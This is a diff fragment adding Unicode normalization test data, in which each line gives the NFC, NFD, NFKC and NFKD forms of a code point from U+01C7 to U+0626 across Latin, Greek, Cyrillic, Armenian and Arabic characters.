+{ source: [0x01C7], NFC: [0x01C7], NFD: [0x01C7], NFKC: [0x004C, 0x004A], NFKD: [0x004C, 0x004A] },
+{ source: [0x01C8], NFC: [0x01C8], NFD: [0x01C8], NFKC: [0x004C, 0x006A], NFKD: [0x004C, 0x006A] },
+{ source: [0x01C9], NFC: [0x01C9], NFD: [0x01C9], NFKC: [0x006C, 0x006A], NFKD: [0x006C, 0x006A] },
+{ source: [0x01CA], NFC: [0x01CA], NFD: [0x01CA], NFKC: [0x004E, 0x004A], NFKD: [0x004E, 0x004A] },
+{ source: [0x01CB], NFC: [0x01CB], NFD: [0x01CB], NFKC: [0x004E, 0x006A], NFKD: [0x004E, 0x006A] },
+{ source: [0x01CC], NFC: [0x01CC], NFD: [0x01CC], NFKC: [0x006E, 0x006A], NFKD: [0x006E, 0x006A] },
+{ source: [0x01CD], NFC: [0x01CD], NFD: [0x0041, 0x030C], NFKC: [0x01CD], NFKD: [0x0041, 0x030C] },
+{ source: [0x01CE], NFC: [0x01CE], NFD: [0x0061, 0x030C], NFKC: [0x01CE], NFKD: [0x0061, 0x030C] },
+{ source: [0x01CF], NFC: [0x01CF], NFD: [0x0049, 0x030C], NFKC: [0x01CF], NFKD: [0x0049, 0x030C] },
+{ source: [0x01D0], NFC: [0x01D0], NFD: [0x0069, 0x030C], NFKC: [0x01D0], NFKD: [0x0069, 0x030C] },
+{ source: [0x01D1], NFC: [0x01D1], NFD: [0x004F, 0x030C], NFKC: [0x01D1], NFKD: [0x004F, 0x030C] },
+{ source: [0x01D2], NFC: [0x01D2], NFD: [0x006F, 0x030C], NFKC: [0x01D2], NFKD: [0x006F, 0x030C] },
+{ source: [0x01D3], NFC: [0x01D3], NFD: [0x0055, 0x030C], NFKC: [0x01D3], NFKD: [0x0055, 0x030C] },
+{ source: [0x01D4], NFC: [0x01D4], NFD: [0x0075, 0x030C], NFKC: [0x01D4], NFKD: [0x0075, 0x030C] },
+{ source: [0x01D5], NFC: [0x01D5], NFD: [0x0055, 0x0308, 0x0304], NFKC: [0x01D5], NFKD: [0x0055, 0x0308, 0x0304] },
+{ source: [0x01D6], NFC: [0x01D6], NFD: [0x0075, 0x0308, 0x0304], NFKC: [0x01D6], NFKD: [0x0075, 0x0308, 0x0304] },
+{ source: [0x01D7], NFC: [0x01D7], NFD: [0x0055, 0x0308, 0x0301], NFKC: [0x01D7], NFKD: [0x0055, 0x0308, 0x0301] },
+{ source: [0x01D8], NFC: [0x01D8], NFD: [0x0075, 0x0308, 0x0301], NFKC: [0x01D8], NFKD: [0x0075, 0x0308, 0x0301] },
+{ source: [0x01D9], NFC: [0x01D9], NFD: [0x0055, 0x0308, 0x030C], NFKC: [0x01D9], NFKD: [0x0055, 0x0308, 0x030C] },
+{ source: [0x01DA], NFC: [0x01DA], NFD: [0x0075, 0x0308, 0x030C], NFKC: [0x01DA], NFKD: [0x0075, 0x0308, 0x030C] },
+{ source: [0x01DB], NFC: [0x01DB], NFD: [0x0055, 0x0308, 0x0300], NFKC: [0x01DB], NFKD: [0x0055, 0x0308, 0x0300] },
+{ source: [0x01DC], NFC: [0x01DC], NFD: [0x0075, 0x0308, 0x0300], NFKC: [0x01DC], NFKD: [0x0075, 0x0308, 0x0300] },
+{ source: [0x01DE], NFC: [0x01DE], NFD: [0x0041, 0x0308, 0x0304], NFKC: [0x01DE], NFKD: [0x0041, 0x0308, 0x0304] },
+{ source: [0x01DF], NFC: [0x01DF], NFD: [0x0061, 0x0308, 0x0304], NFKC: [0x01DF], NFKD: [0x0061, 0x0308, 0x0304] },
+{ source: [0x01E0], NFC: [0x01E0], NFD: [0x0041, 0x0307, 0x0304], NFKC: [0x01E0], NFKD: [0x0041, 0x0307, 0x0304] },
+{ source: [0x01E1], NFC: [0x01E1], NFD: [0x0061, 0x0307, 0x0304], NFKC: [0x01E1], NFKD: [0x0061, 0x0307, 0x0304] },
+{ source: [0x01E2], NFC: [0x01E2], NFD: [0x00C6, 0x0304], NFKC: [0x01E2], NFKD: [0x00C6, 0x0304] },
+{ source: [0x01E3], NFC: [0x01E3], NFD: [0x00E6, 0x0304], NFKC: [0x01E3], NFKD: [0x00E6, 0x0304] },
+{ source: [0x01E6], NFC: [0x01E6], NFD: [0x0047, 0x030C], NFKC: [0x01E6], NFKD: [0x0047, 0x030C] },
+{ source: [0x01E7], NFC: [0x01E7], NFD: [0x0067, 0x030C], NFKC: [0x01E7], NFKD: [0x0067, 0x030C] },
+{ source: [0x01E8], NFC: [0x01E8], NFD: [0x004B, 0x030C], NFKC: [0x01E8], NFKD: [0x004B, 0x030C] },
+{ source: [0x01E9], NFC: [0x01E9], NFD: [0x006B, 0x030C], NFKC: [0x01E9], NFKD: [0x006B, 0x030C] },
+{ source: [0x01EA], NFC: [0x01EA], NFD: [0x004F, 0x0328], NFKC: [0x01EA], NFKD: [0x004F, 0x0328] },
+{ source: [0x01EB], NFC: [0x01EB], NFD: [0x006F, 0x0328], NFKC: [0x01EB], NFKD: [0x006F, 0x0328] },
+{ source: [0x01EC], NFC: [0x01EC], NFD: [0x004F, 0x0328, 0x0304], NFKC: [0x01EC], NFKD: [0x004F, 0x0328, 0x0304] },
+{ source: [0x01ED], NFC: [0x01ED], NFD: [0x006F, 0x0328, 0x0304], NFKC: [0x01ED], NFKD: [0x006F, 0x0328, 0x0304] },
+{ source: [0x01EE], NFC: [0x01EE], NFD: [0x01B7, 0x030C], NFKC: [0x01EE], NFKD: [0x01B7, 0x030C] },
+{ source: [0x01EF], NFC: [0x01EF], NFD: [0x0292, 0x030C], NFKC: [0x01EF], NFKD: [0x0292, 0x030C] },
+{ source: [0x01F0], NFC: [0x01F0], NFD: [0x006A, 0x030C], NFKC: [0x01F0], NFKD: [0x006A, 0x030C] },
+{ source: [0x01F1], NFC: [0x01F1], NFD: [0x01F1], NFKC: [0x0044, 0x005A], NFKD: [0x0044, 0x005A] },
+{ source: [0x01F2], NFC: [0x01F2], NFD: [0x01F2], NFKC: [0x0044, 0x007A], NFKD: [0x0044, 0x007A] },
+{ source: [0x01F3], NFC: [0x01F3], NFD: [0x01F3], NFKC: [0x0064, 0x007A], NFKD: [0x0064, 0x007A] },
+{ source: [0x01F4], NFC: [0x01F4], NFD: [0x0047, 0x0301], NFKC: [0x01F4], NFKD: [0x0047, 0x0301] },
+{ source: [0x01F5], NFC: [0x01F5], NFD: [0x0067, 0x0301], NFKC: [0x01F5], NFKD: [0x0067, 0x0301] },
+{ source: [0x01F8], NFC: [0x01F8], NFD: [0x004E, 0x0300], NFKC: [0x01F8], NFKD: [0x004E, 0x0300] },
+{ source: [0x01F9], NFC: [0x01F9], NFD: [0x006E, 0x0300], NFKC: [0x01F9], NFKD: [0x006E, 0x0300] },
+{ source: [0x01FA], NFC: [0x01FA], NFD: [0x0041, 0x030A, 0x0301], NFKC: [0x01FA], NFKD: [0x0041, 0x030A, 0x0301] },
+{ source: [0x01FB], NFC: [0x01FB], NFD: [0x0061, 0x030A, 0x0301], NFKC: [0x01FB], NFKD: [0x0061, 0x030A, 0x0301] },
+{ source: [0x01FC], NFC: [0x01FC], NFD: [0x00C6, 0x0301], NFKC: [0x01FC], NFKD: [0x00C6, 0x0301] },
+{ source: [0x01FD], NFC: [0x01FD], NFD: [0x00E6, 0x0301], NFKC: [0x01FD], NFKD: [0x00E6, 0x0301] },
+{ source: [0x01FE], NFC: [0x01FE], NFD: [0x00D8, 0x0301], NFKC: [0x01FE], NFKD: [0x00D8, 0x0301] },
+{ source: [0x01FF], NFC: [0x01FF], NFD: [0x00F8, 0x0301], NFKC: [0x01FF], NFKD: [0x00F8, 0x0301] },
+{ source: [0x0200], NFC: [0x0200], NFD: [0x0041, 0x030F], NFKC: [0x0200], NFKD: [0x0041, 0x030F] },
+{ source: [0x0201], NFC: [0x0201], NFD: [0x0061, 0x030F], NFKC: [0x0201], NFKD: [0x0061, 0x030F] },
+{ source: [0x0202], NFC: [0x0202], NFD: [0x0041, 0x0311], NFKC: [0x0202], NFKD: [0x0041, 0x0311] },
+{ source: [0x0203], NFC: [0x0203], NFD: [0x0061, 0x0311], NFKC: [0x0203], NFKD: [0x0061, 0x0311] },
+{ source: [0x0204], NFC: [0x0204], NFD: [0x0045, 0x030F], NFKC: [0x0204], NFKD: [0x0045, 0x030F] },
+{ source: [0x0205], NFC: [0x0205], NFD: [0x0065, 0x030F], NFKC: [0x0205], NFKD: [0x0065, 0x030F] },
+{ source: [0x0206], NFC: [0x0206], NFD: [0x0045, 0x0311], NFKC: [0x0206], NFKD: [0x0045, 0x0311] },
+{ source: [0x0207], NFC: [0x0207], NFD: [0x0065, 0x0311], NFKC: [0x0207], NFKD: [0x0065, 0x0311] },
+{ source: [0x0208], NFC: [0x0208], NFD: [0x0049, 0x030F], NFKC: [0x0208], NFKD: [0x0049, 0x030F] },
+{ source: [0x0209], NFC: [0x0209], NFD: [0x0069, 0x030F], NFKC: [0x0209], NFKD: [0x0069, 0x030F] },
+{ source: [0x020A], NFC: [0x020A], NFD: [0x0049, 0x0311], NFKC: [0x020A], NFKD: [0x0049, 0x0311] },
+{ source: [0x020B], NFC: [0x020B], NFD: [0x0069, 0x0311], NFKC: [0x020B], NFKD: [0x0069, 0x0311] },
+{ source: [0x020C], NFC: [0x020C], NFD: [0x004F, 0x030F], NFKC: [0x020C], NFKD: [0x004F, 0x030F] },
+{ source: [0x020D], NFC: [0x020D], NFD: [0x006F, 0x030F], NFKC: [0x020D], NFKD: [0x006F, 0x030F] },
+{ source: [0x020E], NFC: [0x020E], NFD: [0x004F, 0x0311], NFKC: [0x020E], NFKD: [0x004F, 0x0311] },
+{ source: [0x020F], NFC: [0x020F], NFD: [0x006F, 0x0311], NFKC: [0x020F], NFKD: [0x006F, 0x0311] },
+{ source: [0x0210], NFC: [0x0210], NFD: [0x0052, 0x030F], NFKC: [0x0210], NFKD: [0x0052, 0x030F] },
+{ source: [0x0211], NFC: [0x0211], NFD: [0x0072, 0x030F], NFKC: [0x0211], NFKD: [0x0072, 0x030F] },
+{ source: [0x0212], NFC: [0x0212], NFD: [0x0052, 0x0311], NFKC: [0x0212], NFKD: [0x0052, 0x0311] },
+{ source: [0x0213], NFC: [0x0213], NFD: [0x0072, 0x0311], NFKC: [0x0213], NFKD: [0x0072, 0x0311] },
+{ source: [0x0214], NFC: [0x0214], NFD: [0x0055, 0x030F], NFKC: [0x0214], NFKD: [0x0055, 0x030F] },
+{ source: [0x0215], NFC: [0x0215], NFD: [0x0075, 0x030F], NFKC: [0x0215], NFKD: [0x0075, 0x030F] },
+{ source: [0x0216], NFC: [0x0216], NFD: [0x0055, 0x0311], NFKC: [0x0216], NFKD: [0x0055, 0x0311] },
+{ source: [0x0217], NFC: [0x0217], NFD: [0x0075, 0x0311], NFKC: [0x0217], NFKD: [0x0075, 0x0311] },
+{ source: [0x0218], NFC: [0x0218], NFD: [0x0053, 0x0326], NFKC: [0x0218], NFKD: [0x0053, 0x0326] },
+{ source: [0x0219], NFC: [0x0219], NFD: [0x0073, 0x0326], NFKC: [0x0219], NFKD: [0x0073, 0x0326] },
+{ source: [0x021A], NFC: [0x021A], NFD: [0x0054, 0x0326], NFKC: [0x021A], NFKD: [0x0054, 0x0326] },
+{ source: [0x021B], NFC: [0x021B], NFD: [0x0074, 0x0326], NFKC: [0x021B], NFKD: [0x0074, 0x0326] },
+{ source: [0x021E], NFC: [0x021E], NFD: [0x0048, 0x030C], NFKC: [0x021E], NFKD: [0x0048, 0x030C] },
+{ source: [0x021F], NFC: [0x021F], NFD: [0x0068, 0x030C], NFKC: [0x021F], NFKD: [0x0068, 0x030C] },
+{ source: [0x0226], NFC: [0x0226], NFD: [0x0041, 0x0307], NFKC: [0x0226], NFKD: [0x0041, 0x0307] },
+{ source: [0x0227], NFC: [0x0227], NFD: [0x0061, 0x0307], NFKC: [0x0227], NFKD: [0x0061, 0x0307] },
+{ source: [0x0228], NFC: [0x0228], NFD: [0x0045, 0x0327], NFKC: [0x0228], NFKD: [0x0045, 0x0327] },
+{ source: [0x0229], NFC: [0x0229], NFD: [0x0065, 0x0327], NFKC: [0x0229], NFKD: [0x0065, 0x0327] },
+{ source: [0x022A], NFC: [0x022A], NFD: [0x004F, 0x0308, 0x0304], NFKC: [0x022A], NFKD: [0x004F, 0x0308, 0x0304] },
+{ source: [0x022B], NFC: [0x022B], NFD: [0x006F, 0x0308, 0x0304], NFKC: [0x022B], NFKD: [0x006F, 0x0308, 0x0304] },
+{ source: [0x022C], NFC: [0x022C], NFD: [0x004F, 0x0303, 0x0304], NFKC: [0x022C], NFKD: [0x004F, 0x0303, 0x0304] },
+{ source: [0x022D], NFC: [0x022D], NFD: [0x006F, 0x0303, 0x0304], NFKC: [0x022D], NFKD: [0x006F, 0x0303, 0x0304] },
+{ source: [0x022E], NFC: [0x022E], NFD: [0x004F, 0x0307], NFKC: [0x022E], NFKD: [0x004F, 0x0307] },
+{ source: [0x022F], NFC: [0x022F], NFD: [0x006F, 0x0307], NFKC: [0x022F], NFKD: [0x006F, 0x0307] },
+{ source: [0x0230], NFC: [0x0230], NFD: [0x004F, 0x0307, 0x0304], NFKC: [0x0230], NFKD: [0x004F, 0x0307, 0x0304] },
+{ source: [0x0231], NFC: [0x0231], NFD: [0x006F, 0x0307, 0x0304], NFKC: [0x0231], NFKD: [0x006F, 0x0307, 0x0304] },
+{ source: [0x0232], NFC: [0x0232], NFD: [0x0059, 0x0304], NFKC: [0x0232], NFKD: [0x0059, 0x0304] },
+{ source: [0x0233], NFC: [0x0233], NFD: [0x0079, 0x0304], NFKC: [0x0233], NFKD: [0x0079, 0x0304] },
+{ source: [0x02B0], NFC: [0x02B0], NFD: [0x02B0], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x02B1], NFC: [0x02B1], NFD: [0x02B1], NFKC: [0x0266], NFKD: [0x0266] },
+{ source: [0x02B2], NFC: [0x02B2], NFD: [0x02B2], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x02B3], NFC: [0x02B3], NFD: [0x02B3], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x02B4], NFC: [0x02B4], NFD: [0x02B4], NFKC: [0x0279], NFKD: [0x0279] },
+{ source: [0x02B5], NFC: [0x02B5], NFD: [0x02B5], NFKC: [0x027B], NFKD: [0x027B] },
+{ source: [0x02B6], NFC: [0x02B6], NFD: [0x02B6], NFKC: [0x0281], NFKD: [0x0281] },
+{ source: [0x02B7], NFC: [0x02B7], NFD: [0x02B7], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x02B8], NFC: [0x02B8], NFD: [0x02B8], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x02D8], NFC: [0x02D8], NFD: [0x02D8], NFKC: [0x0020, 0x0306], NFKD: [0x0020, 0x0306] },
+{ source: [0x02D9], NFC: [0x02D9], NFD: [0x02D9], NFKC: [0x0020, 0x0307], NFKD: [0x0020, 0x0307] },
+{ source: [0x02DA], NFC: [0x02DA], NFD: [0x02DA], NFKC: [0x0020, 0x030A], NFKD: [0x0020, 0x030A] },
+{ source: [0x02DB], NFC: [0x02DB], NFD: [0x02DB], NFKC: [0x0020, 0x0328], NFKD: [0x0020, 0x0328] },
+{ source: [0x02DC], NFC: [0x02DC], NFD: [0x02DC], NFKC: [0x0020, 0x0303], NFKD: [0x0020, 0x0303] },
+{ source: [0x02DD], NFC: [0x02DD], NFD: [0x02DD], NFKC: [0x0020, 0x030B], NFKD: [0x0020, 0x030B] },
+{ source: [0x02E0], NFC: [0x02E0], NFD: [0x02E0], NFKC: [0x0263], NFKD: [0x0263] },
+{ source: [0x02E1], NFC: [0x02E1], NFD: [0x02E1], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x02E2], NFC: [0x02E2], NFD: [0x02E2], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x02E3], NFC: [0x02E3], NFD: [0x02E3], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x02E4], NFC: [0x02E4], NFD: [0x02E4], NFKC: [0x0295], NFKD: [0x0295] },
+{ source: [0x0340], NFC: [0x0300], NFD: [0x0300], NFKC: [0x0300], NFKD: [0x0300] },
+{ source: [0x0341], NFC: [0x0301], NFD: [0x0301], NFKC: [0x0301], NFKD: [0x0301] },
+{ source: [0x0343], NFC: [0x0313], NFD: [0x0313], NFKC: [0x0313], NFKD: [0x0313] },
+{ source: [0x0344], NFC: [0x0308, 0x0301], NFD: [0x0308, 0x0301], NFKC: [0x0308, 0x0301], NFKD: [0x0308, 0x0301] },
+{ source: [0x0374], NFC: [0x02B9], NFD: [0x02B9], NFKC: [0x02B9], NFKD: [0x02B9] },
+{ source: [0x037A], NFC: [0x037A], NFD: [0x037A], NFKC: [0x0020, 0x0345], NFKD: [0x0020, 0x0345] },
+{ source: [0x037E], NFC: [0x003B], NFD: [0x003B], NFKC: [0x003B], NFKD: [0x003B] },
+{ source: [0x0384], NFC: [0x0384], NFD: [0x0384], NFKC: [0x0020, 0x0301], NFKD: [0x0020, 0x0301] },
+{ source: [0x0385], NFC: [0x0385], NFD: [0x00A8, 0x0301], NFKC: [0x0020, 0x0308, 0x0301], NFKD: [0x0020, 0x0308, 0x0301] },
+{ source: [0x0386], NFC: [0x0386], NFD: [0x0391, 0x0301], NFKC: [0x0386], NFKD: [0x0391, 0x0301] },
+{ source: [0x0387], NFC: [0x00B7], NFD: [0x00B7], NFKC: [0x00B7], NFKD: [0x00B7] },
+{ source: [0x0388], NFC: [0x0388], NFD: [0x0395, 0x0301], NFKC: [0x0388], NFKD: [0x0395, 0x0301] },
+{ source: [0x0389], NFC: [0x0389], NFD: [0x0397, 0x0301], NFKC: [0x0389], NFKD: [0x0397, 0x0301] },
+{ source: [0x038A], NFC: [0x038A], NFD: [0x0399, 0x0301], NFKC: [0x038A], NFKD: [0x0399, 0x0301] },
+{ source: [0x038C], NFC: [0x038C], NFD: [0x039F, 0x0301], NFKC: [0x038C], NFKD: [0x039F, 0x0301] },
+{ source: [0x038E], NFC: [0x038E], NFD: [0x03A5, 0x0301], NFKC: [0x038E], NFKD: [0x03A5, 0x0301] },
+{ source: [0x038F], NFC: [0x038F], NFD: [0x03A9, 0x0301], NFKC: [0x038F], NFKD: [0x03A9, 0x0301] },
+{ source: [0x0390], NFC: [0x0390], NFD: [0x03B9, 0x0308, 0x0301], NFKC: [0x0390], NFKD: [0x03B9, 0x0308, 0x0301] },
+{ source: [0x03AA], NFC: [0x03AA], NFD: [0x0399, 0x0308], NFKC: [0x03AA], NFKD: [0x0399, 0x0308] },
+{ source: [0x03AB], NFC: [0x03AB], NFD: [0x03A5, 0x0308], NFKC: [0x03AB], NFKD: [0x03A5, 0x0308] },
+{ source: [0x03AC], NFC: [0x03AC], NFD: [0x03B1, 0x0301], NFKC: [0x03AC], NFKD: [0x03B1, 0x0301] },
+{ source: [0x03AD], NFC: [0x03AD], NFD: [0x03B5, 0x0301], NFKC: [0x03AD], NFKD: [0x03B5, 0x0301] },
+{ source: [0x03AE], NFC: [0x03AE], NFD: [0x03B7, 0x0301], NFKC: [0x03AE], NFKD: [0x03B7, 0x0301] },
+{ source: [0x03AF], NFC: [0x03AF], NFD: [0x03B9, 0x0301], NFKC: [0x03AF], NFKD: [0x03B9, 0x0301] },
+{ source: [0x03B0], NFC: [0x03B0], NFD: [0x03C5, 0x0308, 0x0301], NFKC: [0x03B0], NFKD: [0x03C5, 0x0308, 0x0301] },
+{ source: [0x03CA], NFC: [0x03CA], NFD: [0x03B9, 0x0308], NFKC: [0x03CA], NFKD: [0x03B9, 0x0308] },
+{ source: [0x03CB], NFC: [0x03CB], NFD: [0x03C5, 0x0308], NFKC: [0x03CB], NFKD: [0x03C5, 0x0308] },
+{ source: [0x03CC], NFC: [0x03CC], NFD: [0x03BF, 0x0301], NFKC: [0x03CC], NFKD: [0x03BF, 0x0301] },
+{ source: [0x03CD], NFC: [0x03CD], NFD: [0x03C5, 0x0301], NFKC: [0x03CD], NFKD: [0x03C5, 0x0301] },
+{ source: [0x03CE], NFC: [0x03CE], NFD: [0x03C9, 0x0301], NFKC: [0x03CE], NFKD: [0x03C9, 0x0301] },
+{ source: [0x03D0], NFC: [0x03D0], NFD: [0x03D0], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x03D1], NFC: [0x03D1], NFD: [0x03D1], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x03D2], NFC: [0x03D2], NFD: [0x03D2], NFKC: [0x03A5], NFKD: [0x03A5] },
+{ source: [0x03D3], NFC: [0x03D3], NFD: [0x03D2, 0x0301], NFKC: [0x038E], NFKD: [0x03A5, 0x0301] },
+{ source: [0x03D4], NFC: [0x03D4], NFD: [0x03D2, 0x0308], NFKC: [0x03AB], NFKD: [0x03A5, 0x0308] },
+{ source: [0x03D5], NFC: [0x03D5], NFD: [0x03D5], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x03D6], NFC: [0x03D6], NFD: [0x03D6], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x03F0], NFC: [0x03F0], NFD: [0x03F0], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x03F1], NFC: [0x03F1], NFD: [0x03F1], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x03F2], NFC: [0x03F2], NFD: [0x03F2], NFKC: [0x03C2], NFKD: [0x03C2] },
+{ source: [0x03F4], NFC: [0x03F4], NFD: [0x03F4], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x03F5], NFC: [0x03F5], NFD: [0x03F5], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x03F9], NFC: [0x03F9], NFD: [0x03F9], NFKC: [0x03A3], NFKD: [0x03A3] },
+{ source: [0x0400], NFC: [0x0400], NFD: [0x0415, 0x0300], NFKC: [0x0400], NFKD: [0x0415, 0x0300] },
+{ source: [0x0401], NFC: [0x0401], NFD: [0x0415, 0x0308], NFKC: [0x0401], NFKD: [0x0415, 0x0308] },
+{ source: [0x0403], NFC: [0x0403], NFD: [0x0413, 0x0301], NFKC: [0x0403], NFKD: [0x0413, 0x0301] },
+{ source: [0x0407], NFC: [0x0407], NFD: [0x0406, 0x0308], NFKC: [0x0407], NFKD: [0x0406, 0x0308] },
+{ source: [0x040C], NFC: [0x040C], NFD: [0x041A, 0x0301], NFKC: [0x040C], NFKD: [0x041A, 0x0301] },
+{ source: [0x040D], NFC: [0x040D], NFD: [0x0418, 0x0300], NFKC: [0x040D], NFKD: [0x0418, 0x0300] },
+{ source: [0x040E], NFC: [0x040E], NFD: [0x0423, 0x0306], NFKC: [0x040E], NFKD: [0x0423, 0x0306] },
+{ source: [0x0419], NFC: [0x0419], NFD: [0x0418, 0x0306], NFKC: [0x0419], NFKD: [0x0418, 0x0306] },
+{ source: [0x0439], NFC: [0x0439], NFD: [0x0438, 0x0306], NFKC: [0x0439], NFKD: [0x0438, 0x0306] },
+{ source: [0x0450], NFC: [0x0450], NFD: [0x0435, 0x0300], NFKC: [0x0450], NFKD: [0x0435, 0x0300] },
+{ source: [0x0451], NFC: [0x0451], NFD: [0x0435, 0x0308], NFKC: [0x0451], NFKD: [0x0435, 0x0308] },
+{ source: [0x0453], NFC: [0x0453], NFD: [0x0433, 0x0301], NFKC: [0x0453], NFKD: [0x0433, 0x0301] },
+{ source: [0x0457], NFC: [0x0457], NFD: [0x0456, 0x0308], NFKC: [0x0457], NFKD: [0x0456, 0x0308] },
+{ source: [0x045C], NFC: [0x045C], NFD: [0x043A, 0x0301], NFKC: [0x045C], NFKD: [0x043A, 0x0301] },
+{ source: [0x045D], NFC: [0x045D], NFD: [0x0438, 0x0300], NFKC: [0x045D], NFKD: [0x0438, 0x0300] },
+{ source: [0x045E], NFC: [0x045E], NFD: [0x0443, 0x0306], NFKC: [0x045E], NFKD: [0x0443, 0x0306] },
+{ source: [0x0476], NFC: [0x0476], NFD: [0x0474, 0x030F], NFKC: [0x0476], NFKD: [0x0474, 0x030F] },
+{ source: [0x0477], NFC: [0x0477], NFD: [0x0475, 0x030F], NFKC: [0x0477], NFKD: [0x0475, 0x030F] },
+{ source: [0x04C1], NFC: [0x04C1], NFD: [0x0416, 0x0306], NFKC: [0x04C1], NFKD: [0x0416, 0x0306] },
+{ source: [0x04C2], NFC: [0x04C2], NFD: [0x0436, 0x0306], NFKC: [0x04C2], NFKD: [0x0436, 0x0306] },
+{ source: [0x04D0], NFC: [0x04D0], NFD: [0x0410, 0x0306], NFKC: [0x04D0], NFKD: [0x0410, 0x0306] },
+{ source: [0x04D1], NFC: [0x04D1], NFD: [0x0430, 0x0306], NFKC: [0x04D1], NFKD: [0x0430, 0x0306] },
+{ source: [0x04D2], NFC: [0x04D2], NFD: [0x0410, 0x0308], NFKC: [0x04D2], NFKD: [0x0410, 0x0308] },
+{ source: [0x04D3], NFC: [0x04D3], NFD: [0x0430, 0x0308], NFKC: [0x04D3], NFKD: [0x0430, 0x0308] },
+{ source: [0x04D6], NFC: [0x04D6], NFD: [0x0415, 0x0306], NFKC: [0x04D6], NFKD: [0x0415, 0x0306] },
+{ source: [0x04D7], NFC: [0x04D7], NFD: [0x0435, 0x0306], NFKC: [0x04D7], NFKD: [0x0435, 0x0306] },
+{ source: [0x04DA], NFC: [0x04DA], NFD: [0x04D8, 0x0308], NFKC: [0x04DA], NFKD: [0x04D8, 0x0308] },
+{ source: [0x04DB], NFC: [0x04DB], NFD: [0x04D9, 0x0308], NFKC: [0x04DB], NFKD: [0x04D9, 0x0308] },
+{ source: [0x04DC], NFC: [0x04DC], NFD: [0x0416, 0x0308], NFKC: [0x04DC], NFKD: [0x0416, 0x0308] },
+{ source: [0x04DD], NFC: [0x04DD], NFD: [0x0436, 0x0308], NFKC: [0x04DD], NFKD: [0x0436, 0x0308] },
+{ source: [0x04DE], NFC: [0x04DE], NFD: [0x0417, 0x0308], NFKC: [0x04DE], NFKD: [0x0417, 0x0308] },
+{ source: [0x04DF], NFC: [0x04DF], NFD: [0x0437, 0x0308], NFKC: [0x04DF], NFKD: [0x0437, 0x0308] },
+{ source: [0x04E2], NFC: [0x04E2], NFD: [0x0418, 0x0304], NFKC: [0x04E2], NFKD: [0x0418, 0x0304] },
+{ source: [0x04E3], NFC: [0x04E3], NFD: [0x0438, 0x0304], NFKC: [0x04E3], NFKD: [0x0438, 0x0304] },
+{ source: [0x04E4], NFC: [0x04E4], NFD: [0x0418, 0x0308], NFKC: [0x04E4], NFKD: [0x0418, 0x0308] },
+{ source: [0x04E5], NFC: [0x04E5], NFD: [0x0438, 0x0308], NFKC: [0x04E5], NFKD: [0x0438, 0x0308] },
+{ source: [0x04E6], NFC: [0x04E6], NFD: [0x041E, 0x0308], NFKC: [0x04E6], NFKD: [0x041E, 0x0308] },
+{ source: [0x04E7], NFC: [0x04E7], NFD: [0x043E, 0x0308], NFKC: [0x04E7], NFKD: [0x043E, 0x0308] },
+{ source: [0x04EA], NFC: [0x04EA], NFD: [0x04E8, 0x0308], NFKC: [0x04EA], NFKD: [0x04E8, 0x0308] },
+{ source: [0x04EB], NFC: [0x04EB], NFD: [0x04E9, 0x0308], NFKC: [0x04EB], NFKD: [0x04E9, 0x0308] },
+{ source: [0x04EC], NFC: [0x04EC], NFD: [0x042D, 0x0308], NFKC: [0x04EC], NFKD: [0x042D, 0x0308] },
+{ source: [0x04ED], NFC: [0x04ED], NFD: [0x044D, 0x0308], NFKC: [0x04ED], NFKD: [0x044D, 0x0308] },
+{ source: [0x04EE], NFC: [0x04EE], NFD: [0x0423, 0x0304], NFKC: [0x04EE], NFKD: [0x0423, 0x0304] },
+{ source: [0x04EF], NFC: [0x04EF], NFD: [0x0443, 0x0304], NFKC: [0x04EF], NFKD: [0x0443, 0x0304] },
+{ source: [0x04F0], NFC: [0x04F0], NFD: [0x0423, 0x0308], NFKC: [0x04F0], NFKD: [0x0423, 0x0308] },
+{ source: [0x04F1], NFC: [0x04F1], NFD: [0x0443, 0x0308], NFKC: [0x04F1], NFKD: [0x0443, 0x0308] },
+{ source: [0x04F2], NFC: [0x04F2], NFD: [0x0423, 0x030B], NFKC: [0x04F2], NFKD: [0x0423, 0x030B] },
+{ source: [0x04F3], NFC: [0x04F3], NFD: [0x0443, 0x030B], NFKC: [0x04F3], NFKD: [0x0443, 0x030B] },
+{ source: [0x04F4], NFC: [0x04F4], NFD: [0x0427, 0x0308], NFKC: [0x04F4], NFKD: [0x0427, 0x0308] },
+{ source: [0x04F5], NFC: [0x04F5], NFD: [0x0447, 0x0308], NFKC: [0x04F5], NFKD: [0x0447, 0x0308] },
+{ source: [0x04F8], NFC: [0x04F8], NFD: [0x042B, 0x0308], NFKC: [0x04F8], NFKD: [0x042B, 0x0308] },
+{ source: [0x04F9], NFC: [0x04F9], NFD: [0x044B, 0x0308], NFKC: [0x04F9], NFKD: [0x044B, 0x0308] },
+{ source: [0x0587], NFC: [0x0587], NFD: [0x0587], NFKC: [0x0565, 0x0582], NFKD: [0x0565, 0x0582] },
+{ source: [0x0622], NFC: [0x0622], NFD: [0x0627, 0x0653], NFKC: [0x0622], NFKD: [0x0627, 0x0653] },
+{ source: [0x0623], NFC: [0x0623], NFD: [0x0627, 0x0654], NFKC: [0x0623], NFKD: [0x0627, 0x0654] },
+{ source: [0x0624], NFC: [0x0624], NFD: [0x0648, 0x0654], NFKC: [0x0624], NFKD: [0x0648, 0x0654] },
+{ source: [0x0625], NFC: [0x0625], NFD: [0x0627, 0x0655], NFKC: [0x0625], NFKD: [0x0627, 0x0655] },
+{ source: [0x0626], NFC: [0x0626], NFD: [0x064A, 0x0654], NFKC: [0x0626], NFKD: [0x064A, 0x0654] },
